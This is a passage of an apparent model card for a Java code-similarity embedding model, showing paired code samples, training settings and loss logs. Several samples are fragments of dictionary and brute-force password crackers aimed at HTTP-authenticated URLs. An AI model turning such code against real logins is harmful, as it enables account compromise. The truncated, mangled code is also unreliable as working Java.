while ((line = in.readLine()) ...1
import java.io.;
import java.net.;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine())...
import java.net.;
import java.io.;
import java.util.*;
public class Dictionary{
private static URL location;
private static String user;
private BufferedReader input;
private static BufferedReader dictionary;
private int maxLetters = 3;
public Dictionary() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e) ...0
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class BruteForcePropertyHelper {
private static Properties bruteForceProps;
public BruteForcePropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();
InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}1 - Loss:
ContrastiveLosswith these parameters:{ "distance_metric": "SiameseDistanceMetric.COSINE_DISTANCE", "margin": 0.5, "size_average": true }
Evaluation Dataset
Unnamed Dataset
- Size: 8,592 evaluation samples
- Columns:
text_1,text_2, andlabel - Approximate statistics based on the first 1000 samples:
text_1 text_2 label type string string int details - min: 51 tokens
- mean: 469.8 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 461.39 tokens
- max: 512 tokens
- 0: ~50.00%
- 1: ~50.00%
- Samples:
text_1 text_2 label
import java.util.;
import java.io.;
public class WatchDog
{
public static void main(String args[])
{
Runtime rt1 = Runtime.getRuntime();
Process prss1= null;
try
{
prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");
}catch(java.io.IOException e){}
MyWatchDogTimer w = new MyWatchDogTimer();
Timer time = new Timer();
time.schedule(w,864000000,864000000);
}
}
import java.util.;
import java.io.;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}1
import java.util.;
import java.io.;
public class WatchDog
{
public static void main(String args[])
{
Runtime rt1 = Runtime.getRuntime();
Process prss1= null;
try
{
prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");
}catch(java.io.IOException e){}
MyWatchDogTimer w = new MyWatchDogTimer();
Timer time = new Timer();
time.schedule(w,864000000,864000000);
}
}import java.net.;
import java.io.;
import java.util.Vector;
import java.util.Date;
import java.security.;
public class Dictionary {
public static BufferedReader in;
public static void main(String[] args) throws Exception {
String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int count=0;
Date date = new Date();
startTime=date.getTime();
int LIMITINMINUTES=45;
int TIMELIMIT=LIMITINMINUTES1000*60;
boolean timedOut=false;
boolean found=false;
Vector dictionary=new Vector(readWords());
System.out.println("Words in dictionary: "+dictionary.size());
while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
}
String password = "";
...0
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class MailsendPropertyHelper {
private static Properties testProps;
public MailsendPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
testProps.load(fis);
}
}
}
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class BruteForcePropertyHelper {
private static Properties bruteForceProps;
public BruteForcePropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();
InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}1 - Loss:
ContrastiveLosswith these parameters:{ "distance_metric": "SiameseDistanceMetric.COSINE_DISTANCE", "margin": 0.5, "size_average": true }
Training Hyperparameters
Non-Default Hyperparameters
eval_strategy: stepsper_device_train_batch_size: 16per_device_eval_batch_size: 16learning_rate: 2e-05num_train_epochs: 1warmup_ratio: 0.1fp16: Truebatch_sampler: no_duplicates
All Hyperparameters
Click to expand
overwrite_output_dir: Falsedo_predict: Falseeval_strategy: stepsprediction_loss_only: Trueper_device_train_batch_size: 16per_device_eval_batch_size: 16per_gpu_train_batch_size: Noneper_gpu_eval_batch_size: Nonegradient_accumulation_steps: 1eval_accumulation_steps: Nonetorch_empty_cache_steps: Nonelearning_rate: 2e-05weight_decay: 0.0adam_beta1: 0.9adam_beta2: 0.999adam_epsilon: 1e-08max_grad_norm: 1.0num_train_epochs: 1max_steps: -1lr_scheduler_type: linearlr_scheduler_kwargs: {}warmup_ratio: 0.1warmup_steps: 0log_level: passivelog_level_replica: warninglog_on_each_node: Truelogging_nan_inf_filter: Truesave_safetensors: Truesave_on_each_node: Falsesave_only_model: Falserestore_callback_states_from_checkpoint: Falseno_cuda: Falseuse_cpu: Falseuse_mps_device: Falseseed: 42data_seed: Nonejit_mode_eval: Falseuse_ipex: Falsebf16: Falsefp16: Truefp16_opt_level: O1half_precision_backend: autobf16_full_eval: Falsefp16_full_eval: Falsetf32: Nonelocal_rank: 0ddp_backend: Nonetpu_num_cores: Nonetpu_metrics_debug: Falsedebug: []dataloader_drop_last: Falsedataloader_num_workers: 0dataloader_prefetch_factor: Nonepast_index: -1disable_tqdm: Falseremove_unused_columns: Truelabel_names: Noneload_best_model_at_end: Falseignore_data_skip: Falsefsdp: []fsdp_min_num_params: 0fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap: Noneaccelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}parallelism_config: Nonedeepspeed: Nonelabel_smoothing_factor: 0.0optim: adamw_torch_fusedoptim_args: Noneadafactor: Falsegroup_by_length: Falselength_column_name: lengthddp_find_unused_parameters: Noneddp_bucket_cap_mb: Noneddp_broadcast_buffers: Falsedataloader_pin_memory: Truedataloader_persistent_workers: Falseskip_memory_metrics: Trueuse_legacy_prediction_loop: Falsepush_to_hub: Falseresume_from_checkpoint: Nonehub_model_id: Nonehub_strategy: every_savehub_private_repo: Nonehub_always_push: Falsehub_revision: Nonegradient_checkpointing: Falsegradient_checkpointing_kwargs: Noneinclude_inputs_for_metrics: Falseinclude_for_metrics: []eval_do_concat_batches: Truefp16_backend: autopush_to_hub_model_id: Nonepush_to_hub_organization: Nonemp_parameters:auto_find_batch_size: Falsefull_determinism: Falsetorchdynamo: Noneray_scope: lastddp_timeout: 1800torch_compile: Falsetorch_compile_backend: Nonetorch_compile_mode: Noneinclude_tokens_per_second: Falseinclude_num_input_tokens_seen: Falseneftune_noise_alpha: Noneoptim_target_modules: Nonebatch_eval_metrics: Falseeval_on_start: Falseuse_liger_kernel: Falseliger_kernel_config: Noneeval_use_gather_object: Falseaverage_tokens_across_devices: Falseprompts: Nonebatch_sampler: no_duplicatesmulti_dataset_batch_sampler: proportionalrouter_mapping: {}learning_rate_mapping: {}
Training Logs
| Epoch | Step | Training Loss | Validation Loss | binary-classification-evaluator_cosine_ap |
|---|---|---|---|---|
| 0.0207 | 100 | 0.0203 | - | - |
| 0.0414 | 200 | 0.0079 | - | - |
| 0.0621 | 300 | 0.0032 | - | - |
| 0.0828 | 400 | 0.0018 | - | - |
| 0.1035 | 500 | 0.001 | 0.0007 | 0.9999 |
| 0.1241 | 600 | 0.0007 | - | - |
| 0.1448 | 700 | 0.0005 | - | - |
| 0.1655 | 800 | 0.0006 | - | - |
| 0.1862 | 900 | 0.0004 | - | - |
| 0.2069 | 1000 | 0.0006 | 0.0003 | 1.0000 |
| 0.2276 | 1100 | 0.0005 | - | - |
| 0.2483 | 1200 | 0.0002 | - | - |
| 0.2690 | 1300 | 0.0004 | - | - |
| 0.2897 | 1400 | 0.0004 | - | - |
| 0.3104 | 1500 | 0.0004 | 0.0002 | 1.0000 |
| 0.3311 | 1600 | 0.0002 | - | - |
| 0.3517 | 1700 | 0.0004 | - | - |
| 0.3724 | 1800 | 0.0003 | - | - |
| 0.3931 | 1900 | 0.0002 | - | - |
| 0.4138 | 2000 | 0.0004 | 0.0002 | 1.0000 |
| 0.4345 | 2100 | 0.0001 | - | - |
| 0.4552 | 2200 | 0.0003 | - | - |
| 0.4759 | 2300 | 0.0002 | - | - |
| 0.4966 | 2400 | 0.0004 | - | - |
| 0.5173 | 2500 | 0.0003 | 0.0002 | 0.9999 |
| 0.5380 | 2600 | 0.0001 | - | - |
| 0.5587 | 2700 | 0.0003 | - | - |
| 0.5794 | 2800 | 0.0004 | - | - |
| 0.6000 | 2900 | 0.0002 | - | - |
| 0.6207 | 3000 | 0.0003 | 0.0002 | 1.0000 |
| 0.6414 | 3100 | 0.0003 | - | - |
| 0.6621 | 3200 | 0.0002 | - | - |
| 0.6828 | 3300 | 0.0004 | - | - |
| 0.7035 | 3400 | 0.0003 | - | - |
| 0.7242 | 3500 | 0.0004 | 0.0002 | 1.0000 |
| 0.7449 | 3600 | 0.0002 | - | - |
| 0.7656 | 3700 | 0.0002 | - | - |
| 0.7863 | 3800 | 0.0003 | - | - |
| 0.8070 | 3900 | 0.0003 | - | - |
| 0.8276 | 4000 | 0.0002 | 0.0001 | 1.0000 |
| 0.8483 | 4100 | 0.0002 | - | - |
| 0.8690 | 4200 | 0.0003 | - | - |
| 0.8897 | 4300 | 0.0002 | - | - |
| 0.9104 | 4400 | 0.0003 | - | - |
| 0.9311 | 4500 | 0.0002 | 0.0002 | 1.0000 |
| 0.9518 | 4600 | 0.0001 | - | - |
| 0.9725 | 4700 | 0.0005 | - | - |
| 0.9932 | 4800 | 0.0004 | - | - |
Framework Versions
- Python: 3.11.11
- Sentence Transformers: 5.1.1
- Transformers: 4.56.2
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
ContrastiveLoss
@inproceedings{hadsell2006dimensionality,
author={Hadsell, R. and Chopra, S. and LeCun, Y.},
booktitle={2006 IEEE Computer Society Conference on Computer Vision and Pattern Recognition (CVPR'06)},
title={Dimensionality Reduction by Learning an Invariant Mapping},
year={2006},
volume={2},
number={},
pages={1735-1742},
doi={10.1109/CVPR.2006.100}
}